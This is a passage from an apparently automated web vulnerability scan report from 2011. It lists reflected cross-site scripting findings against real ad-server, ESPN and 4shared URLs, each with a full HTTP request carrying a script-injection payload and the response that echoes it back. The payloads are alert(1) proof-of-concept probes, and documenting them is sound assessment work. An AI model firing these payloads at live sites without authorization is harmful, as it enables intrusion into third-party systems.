The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 613f7"><script>alert(1)</script>691cdb4b46f was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/ZapTrader/ATT/Wired613f7"><script>alert(1)</script>691cdb4b46f/Pros-UVerseOpt/All/12cd8346d-f045-42c9-88fc-dcc60b1aceb1@x90 HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW801b0RcADNFE; RMFM=011PphRBU10Dzy; ATTW=TrafficMarketplaceB3; other_20110126=set; id=3375925924; dlx_XXX=set

Response

HTTP/1.1 200 OK
Date: Wed, 23 Feb 2011 21:38:34 GMT
Server: Apache/2.0.52 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 396
Content-Type: text/html
Set-Cookie: NSC_o4efm_qppm_iuuq=ffffffff09499e2045525d5f4f58455e445a4a423660;path=/

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/ZapTrader/ATT/Wired613f7"><script>alert(1)</script>691cdb4b46f/Pros-UVerseOpt/All/12cd8346d-f045-42c9-88fc-dcc60b1aceb1/1916158065/x90/default/empty.gif/726348573830316230526341444e4645?x" target="_top">
...[SNIP]...

1.57. http://b3.mookie1.com/2/ZapTrader/ATT/Wired/Pros-UVerseOpt/All/12cd8346d-f045-42c9-88fc-dcc60b1aceb1@x90 [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://b3.mookie1.com
Path:   /2/ZapTrader/ATT/Wired/Pros-UVerseOpt/All/12cd8346d-f045-42c9-88fc-dcc60b1aceb1@x90

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 13275"><script>alert(1)</script>f4b4f57d27c was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/ZapTrader/ATT/Wired/Pros-UVerseOpt13275"><script>alert(1)</script>f4b4f57d27c/All/12cd8346d-f045-42c9-88fc-dcc60b1aceb1@x90 HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW801b0RcADNFE; RMFM=011PphRBU10Dzy; ATTW=TrafficMarketplaceB3; other_20110126=set; id=3375925924; dlx_XXX=set

Response

HTTP/1.1 200 OK
Date: Wed, 23 Feb 2011 21:38:36 GMT
Server: Apache/2.0.52 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 396
Content-Type: text/html
Set-Cookie: NSC_o4efm_qppm_iuuq=ffffffff09499e2545525d5f4f58455e445a4a423660;path=/

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/ZapTrader/ATT/Wired/Pros-UVerseOpt13275"><script>alert(1)</script>f4b4f57d27c/All/12cd8346d-f045-42c9-88fc-dcc60b1aceb1/1957067333/x90/default/empty.gif/726348573830316230526341444e4645?x" target="_top">
...[SNIP]...

1.58. http://b3.mookie1.com/2/ZapTrader/ATT/Wired/Pros-UVerseOpt/All/12cd8346d-f045-42c9-88fc-dcc60b1aceb1@x90 [REST URL parameter 6]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://b3.mookie1.com
Path:   /2/ZapTrader/ATT/Wired/Pros-UVerseOpt/All/12cd8346d-f045-42c9-88fc-dcc60b1aceb1@x90

Issue detail

The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8a923"><script>alert(1)</script>f5c014234ec was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/ZapTrader/ATT/Wired/Pros-UVerseOpt/All8a923"><script>alert(1)</script>f5c014234ec/12cd8346d-f045-42c9-88fc-dcc60b1aceb1@x90 HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW801b0RcADNFE; RMFM=011PphRBU10Dzy; ATTW=TrafficMarketplaceB3; other_20110126=set; id=3375925924; dlx_XXX=set

Response

HTTP/1.1 200 OK
Date: Wed, 23 Feb 2011 21:38:38 GMT
Server: Apache/2.0.52 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 396
Content-Type: text/html
Set-Cookie: NSC_o4efm_qppm_iuuq=ffffffff09499e2445525d5f4f58455e445a4a423660;path=/

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/ZapTrader/ATT/Wired/Pros-UVerseOpt/All8a923"><script>alert(1)</script>f5c014234ec/12cd8346d-f045-42c9-88fc-dcc60b1aceb1/1788008593/x90/default/empty.gif/726348573830316230526341444e4645?x" target="_top">
...[SNIP]...

1.59. http://b3.mookie1.com/2/ZapTrader/ATT/Wired/Pros-UVerseOpt/All/12cd8346d-f045-42c9-88fc-dcc60b1aceb1@x90 [REST URL parameter 7]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://b3.mookie1.com
Path:   /2/ZapTrader/ATT/Wired/Pros-UVerseOpt/All/12cd8346d-f045-42c9-88fc-dcc60b1aceb1@x90

Issue detail

The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6db6d"><script>alert(1)</script>442dc3bf57f was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/ZapTrader/ATT/Wired/Pros-UVerseOpt/All/12cd8346d-f045-42c9-88fc-dcc60b1aceb1@x906db6d"><script>alert(1)</script>442dc3bf57f HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW801b0RcADNFE; RMFM=011PphRBU10Dzy; ATTW=TrafficMarketplaceB3; other_20110126=set; id=3375925924; dlx_XXX=set

Response

HTTP/1.1 200 OK
Date: Wed, 23 Feb 2011 21:38:40 GMT
Server: Apache/2.0.52 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 388
Content-Type: text/html
Set-Cookie: NSC_o4efm_qppm_iuuq=ffffffff09499e6f45525d5f4f58455e445a4a423660;path=/

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/ZapTrader/ATT/Wired/Pros-UVerseOpt/All/12cd8346d-f045-42c9-88fc-dcc60b1aceb1/1700368715/x906db6d"><script>alert(1)</script>442dc3bf57f/default/empty.gif/726348573830316230526341444e4645?x" target="_top">
...[SNIP]...

1.60. http://b3.mookie1.com/2/ZapTrader/ATT/Wired/Pros-UVerseOpt/All/1b5458553-7549-414b-83d2-2100a7556d38@x90 [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://b3.mookie1.com
Path:   /2/ZapTrader/ATT/Wired/Pros-UVerseOpt/All/1b5458553-7549-414b-83d2-2100a7556d38@x90

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 90e08"><script>alert(1)</script>3abd5a56497 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/ZapTrader90e08"><script>alert(1)</script>3abd5a56497/ATT/Wired/Pros-UVerseOpt/All/1b5458553-7549-414b-83d2-2100a7556d38@x90 HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-9046165571664830&format=300x250_as&output=html&h=250&w=300&lmt=1298518211&channel=6075235820&ad_type=text_image&color_bg=FFFFFF&color_border=CCCCCC&color_link=085192&color_text=FFFFFF&color_url=085192&flash=10.2.154&url=http%3A%2F%2Fwww.komonews.com%2F&dt=1298497084466&shv=r20101117&jsv=r20110208&saldr=1&correlator=1298497083221&frm=0&adk=3789798029&ga_vid=758392942.1298497003&ga_sid=1298497003&ga_hid=1880891390&ga_fc=1&u_tz=-360&u_his=1&u_java=1&u_h=768&u_w=1364&u_ah=724&u_aw=1364&u_cd=16&u_nplug=9&u_nmime=44&biw=1210&bih=642&fu=0&ifi=2&dtd=112&xpc=8M0zeeSKPz&p=http%3A//www.komonews.com
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW801b0RcADNFE; RMFM=011PphRBU10Dzy; ATTW=TrafficMarketplaceB3; other_20110126=set; id=3375925924; dlx_XXX=set; NSC_o4efm_qppm_iuuq=ffffffff09499e6e45525d5f4f58455e445a4a423660; ATTWired=ZapTrader

Response

HTTP/1.1 200 OK
Date: Wed, 23 Feb 2011 21:38:36 GMT
Server: Apache/2.0.52 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 396
Content-Type: text/html

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/ZapTrader90e08"><script>alert(1)</script>3abd5a56497/ATT/Wired/Pros-UVerseOpt/All/1b5458553-7549-414b-83d2-2100a7556d38/1010444679/x90/default/empty.gif/726348573830316230526341444e4645?x" target="_top">
...[SNIP]...

1.61. http://b3.mookie1.com/2/ZapTrader/ATT/Wired/Pros-UVerseOpt/All/1b5458553-7549-414b-83d2-2100a7556d38@x90 [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://b3.mookie1.com
Path:   /2/ZapTrader/ATT/Wired/Pros-UVerseOpt/All/1b5458553-7549-414b-83d2-2100a7556d38@x90

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c89d7"><script>alert(1)</script>b488108a356 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/ZapTrader/ATTc89d7"><script>alert(1)</script>b488108a356/Wired/Pros-UVerseOpt/All/1b5458553-7549-414b-83d2-2100a7556d38@x90 HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-9046165571664830&format=300x250_as&output=html&h=250&w=300&lmt=1298518211&channel=6075235820&ad_type=text_image&color_bg=FFFFFF&color_border=CCCCCC&color_link=085192&color_text=FFFFFF&color_url=085192&flash=10.2.154&url=http%3A%2F%2Fwww.komonews.com%2F&dt=1298497084466&shv=r20101117&jsv=r20110208&saldr=1&correlator=1298497083221&frm=0&adk=3789798029&ga_vid=758392942.1298497003&ga_sid=1298497003&ga_hid=1880891390&ga_fc=1&u_tz=-360&u_his=1&u_java=1&u_h=768&u_w=1364&u_ah=724&u_aw=1364&u_cd=16&u_nplug=9&u_nmime=44&biw=1210&bih=642&fu=0&ifi=2&dtd=112&xpc=8M0zeeSKPz&p=http%3A//www.komonews.com
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW801b0RcADNFE; RMFM=011PphRBU10Dzy; ATTW=TrafficMarketplaceB3; other_20110126=set; id=3375925924; dlx_XXX=set; NSC_o4efm_qppm_iuuq=ffffffff09499e6e45525d5f4f58455e445a4a423660; ATTWired=ZapTrader

Response

HTTP/1.1 200 OK
Date: Wed, 23 Feb 2011 21:38:38 GMT
Server: Apache/2.0.52 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 396
Content-Type: text/html

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/ZapTrader/ATTc89d7"><script>alert(1)</script>b488108a356/Wired/Pros-UVerseOpt/All/1b5458553-7549-414b-83d2-2100a7556d38/1088251137/x90/default/empty.gif/726348573830316230526341444e4645?x" target="_top">
...[SNIP]...

1.62. http://b3.mookie1.com/2/ZapTrader/ATT/Wired/Pros-UVerseOpt/All/1b5458553-7549-414b-83d2-2100a7556d38@x90 [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://b3.mookie1.com
Path:   /2/ZapTrader/ATT/Wired/Pros-UVerseOpt/All/1b5458553-7549-414b-83d2-2100a7556d38@x90

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 97a9a"><script>alert(1)</script>244d439e350 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/ZapTrader/ATT/Wired97a9a"><script>alert(1)</script>244d439e350/Pros-UVerseOpt/All/1b5458553-7549-414b-83d2-2100a7556d38@x90 HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-9046165571664830&format=300x250_as&output=html&h=250&w=300&lmt=1298518211&channel=6075235820&ad_type=text_image&color_bg=FFFFFF&color_border=CCCCCC&color_link=085192&color_text=FFFFFF&color_url=085192&flash=10.2.154&url=http%3A%2F%2Fwww.komonews.com%2F&dt=1298497084466&shv=r20101117&jsv=r20110208&saldr=1&correlator=1298497083221&frm=0&adk=3789798029&ga_vid=758392942.1298497003&ga_sid=1298497003&ga_hid=1880891390&ga_fc=1&u_tz=-360&u_his=1&u_java=1&u_h=768&u_w=1364&u_ah=724&u_aw=1364&u_cd=16&u_nplug=9&u_nmime=44&biw=1210&bih=642&fu=0&ifi=2&dtd=112&xpc=8M0zeeSKPz&p=http%3A//www.komonews.com
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW801b0RcADNFE; RMFM=011PphRBU10Dzy; ATTW=TrafficMarketplaceB3; other_20110126=set; id=3375925924; dlx_XXX=set; NSC_o4efm_qppm_iuuq=ffffffff09499e6e45525d5f4f58455e445a4a423660; ATTWired=ZapTrader

Response

HTTP/1.1 200 OK
Date: Wed, 23 Feb 2011 21:38:40 GMT
Server: Apache/2.0.52 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 395
Content-Type: text/html

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/ZapTrader/ATT/Wired97a9a"><script>alert(1)</script>244d439e350/Pros-UVerseOpt/All/1b5458553-7549-414b-83d2-2100a7556d38/384162992/x90/default/empty.gif/726348573830316230526341444e4645?x" target="_top">
...[SNIP]...

1.63. http://b3.mookie1.com/2/ZapTrader/ATT/Wired/Pros-UVerseOpt/All/1b5458553-7549-414b-83d2-2100a7556d38@x90 [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://b3.mookie1.com
Path:   /2/ZapTrader/ATT/Wired/Pros-UVerseOpt/All/1b5458553-7549-414b-83d2-2100a7556d38@x90

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 314f5"><script>alert(1)</script>c812b72dfc2 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/ZapTrader/ATT/Wired/Pros-UVerseOpt314f5"><script>alert(1)</script>c812b72dfc2/All/1b5458553-7549-414b-83d2-2100a7556d38@x90 HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-9046165571664830&format=300x250_as&output=html&h=250&w=300&lmt=1298518211&channel=6075235820&ad_type=text_image&color_bg=FFFFFF&color_border=CCCCCC&color_link=085192&color_text=FFFFFF&color_url=085192&flash=10.2.154&url=http%3A%2F%2Fwww.komonews.com%2F&dt=1298497084466&shv=r20101117&jsv=r20110208&saldr=1&correlator=1298497083221&frm=0&adk=3789798029&ga_vid=758392942.1298497003&ga_sid=1298497003&ga_hid=1880891390&ga_fc=1&u_tz=-360&u_his=1&u_java=1&u_h=768&u_w=1364&u_ah=724&u_aw=1364&u_cd=16&u_nplug=9&u_nmime=44&biw=1210&bih=642&fu=0&ifi=2&dtd=112&xpc=8M0zeeSKPz&p=http%3A//www.komonews.com
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW801b0RcADNFE; RMFM=011PphRBU10Dzy; ATTW=TrafficMarketplaceB3; other_20110126=set; id=3375925924; dlx_XXX=set; NSC_o4efm_qppm_iuuq=ffffffff09499e6e45525d5f4f58455e445a4a423660; ATTWired=ZapTrader

Response

HTTP/1.1 200 OK
Date: Wed, 23 Feb 2011 21:38:42 GMT
Server: Apache/2.0.52 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 395
Content-Type: text/html

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/ZapTrader/ATT/Wired/Pros-UVerseOpt314f5"><script>alert(1)</script>c812b72dfc2/All/1b5458553-7549-414b-83d2-2100a7556d38/636339535/x90/default/empty.gif/726348573830316230526341444e4645?x" target="_top">
...[SNIP]...

1.64. http://b3.mookie1.com/2/ZapTrader/ATT/Wired/Pros-UVerseOpt/All/1b5458553-7549-414b-83d2-2100a7556d38@x90 [REST URL parameter 6]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://b3.mookie1.com
Path:   /2/ZapTrader/ATT/Wired/Pros-UVerseOpt/All/1b5458553-7549-414b-83d2-2100a7556d38@x90

Issue detail

The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6c314"><script>alert(1)</script>d3932d3a3a7 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/ZapTrader/ATT/Wired/Pros-UVerseOpt/All6c314"><script>alert(1)</script>d3932d3a3a7/1b5458553-7549-414b-83d2-2100a7556d38@x90 HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-9046165571664830&format=300x250_as&output=html&h=250&w=300&lmt=1298518211&channel=6075235820&ad_type=text_image&color_bg=FFFFFF&color_border=CCCCCC&color_link=085192&color_text=FFFFFF&color_url=085192&flash=10.2.154&url=http%3A%2F%2Fwww.komonews.com%2F&dt=1298497084466&shv=r20101117&jsv=r20110208&saldr=1&correlator=1298497083221&frm=0&adk=3789798029&ga_vid=758392942.1298497003&ga_sid=1298497003&ga_hid=1880891390&ga_fc=1&u_tz=-360&u_his=1&u_java=1&u_h=768&u_w=1364&u_ah=724&u_aw=1364&u_cd=16&u_nplug=9&u_nmime=44&biw=1210&bih=642&fu=0&ifi=2&dtd=112&xpc=8M0zeeSKPz&p=http%3A//www.komonews.com
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW801b0RcADNFE; RMFM=011PphRBU10Dzy; ATTW=TrafficMarketplaceB3; other_20110126=set; id=3375925924; dlx_XXX=set; NSC_o4efm_qppm_iuuq=ffffffff09499e6e45525d5f4f58455e445a4a423660; ATTWired=ZapTrader

Response

HTTP/1.1 200 OK
Date: Wed, 23 Feb 2011 21:38:44 GMT
Server: Apache/2.0.52 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 395
Content-Type: text/html

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/ZapTrader/ATT/Wired/Pros-UVerseOpt/All6c314"><script>alert(1)</script>d3932d3a3a7/1b5458553-7549-414b-83d2-2100a7556d38/503112095/x90/default/empty.gif/726348573830316230526341444e4645?x" target="_top">
...[SNIP]...

1.65. http://b3.mookie1.com/2/ZapTrader/ATT/Wired/Pros-UVerseOpt/All/1b5458553-7549-414b-83d2-2100a7556d38@x90 [REST URL parameter 7]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://b3.mookie1.com
Path:   /2/ZapTrader/ATT/Wired/Pros-UVerseOpt/All/1b5458553-7549-414b-83d2-2100a7556d38@x90

Issue detail

The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ebaa7"><script>alert(1)</script>878d79ae95a was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/ZapTrader/ATT/Wired/Pros-UVerseOpt/All/1b5458553-7549-414b-83d2-2100a7556d38@x90ebaa7"><script>alert(1)</script>878d79ae95a HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-9046165571664830&format=300x250_as&output=html&h=250&w=300&lmt=1298518211&channel=6075235820&ad_type=text_image&color_bg=FFFFFF&color_border=CCCCCC&color_link=085192&color_text=FFFFFF&color_url=085192&flash=10.2.154&url=http%3A%2F%2Fwww.komonews.com%2F&dt=1298497084466&shv=r20101117&jsv=r20110208&saldr=1&correlator=1298497083221&frm=0&adk=3789798029&ga_vid=758392942.1298497003&ga_sid=1298497003&ga_hid=1880891390&ga_fc=1&u_tz=-360&u_his=1&u_java=1&u_h=768&u_w=1364&u_ah=724&u_aw=1364&u_cd=16&u_nplug=9&u_nmime=44&biw=1210&bih=642&fu=0&ifi=2&dtd=112&xpc=8M0zeeSKPz&p=http%3A//www.komonews.com
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW801b0RcADNFE; RMFM=011PphRBU10Dzy; ATTW=TrafficMarketplaceB3; other_20110126=set; id=3375925924; dlx_XXX=set; NSC_o4efm_qppm_iuuq=ffffffff09499e6e45525d5f4f58455e445a4a423660; ATTWired=ZapTrader

Response

HTTP/1.1 200 OK
Date: Wed, 23 Feb 2011 21:38:47 GMT
Server: Apache/2.0.52 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 387
Content-Type: text/html

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/ZapTrader/ATT/Wired/Pros-UVerseOpt/All/1b5458553-7549-414b-83d2-2100a7556d38/377266009/x90ebaa7"><script>alert(1)</script>878d79ae95a/default/empty.gif/726348573830316230526341444e4645?x" target="_top">
...[SNIP]...

1.66. http://broadband.espn.go.com/espn3/auth/espnnetworks/user [callback parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://broadband.espn.go.com
Path:   /espn3/auth/espnnetworks/user

Issue detail

The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload 4d851<script>alert(1)</script>bb63329db8 was submitted in the callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /espn3/auth/espnnetworks/user?callback=jsonp12984973704964d851<script>alert(1)</script>bb63329db8 HTTP/1.1
Host: broadband.espn.go.com
Proxy-Connection: keep-alive
Referer: http://espn.go.com/new-york/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF; DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; userAB=F

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Connection: Keep-Alive
Content-Length: 104
Content-Type: text/html; charset=iso-8859-1
Server: barista/3.3.6
Via: 8810-09/10

jsonp12984973704964d851<script>alert(1)</script>bb63329db8(
{ "espn3":"invalid", "networks":"invalid" })

1.67. http://dc305.4shared.com/main/upload.jsp [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://dc305.4shared.com
Path:   /main/upload.jsp

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b49ee"-alert(1)-"5c431f0ee83 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /mainb49ee"-alert(1)-"5c431f0ee83/upload.jsp HTTP/1.1
Host: dc305.4shared.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 /mainb49ee&quot;-alert(1)-&quot;5c431f0ee83/upload.jsp
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Date: Thu, 24 Feb 2011 19:45:53 GMT
Connection: close


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:null-->
<title>4shared.co
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://dc305.4shared.com/mainb49ee"-alert(1)-"5c431f0ee83/upload.jsp";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedback() {

...[SNIP]...

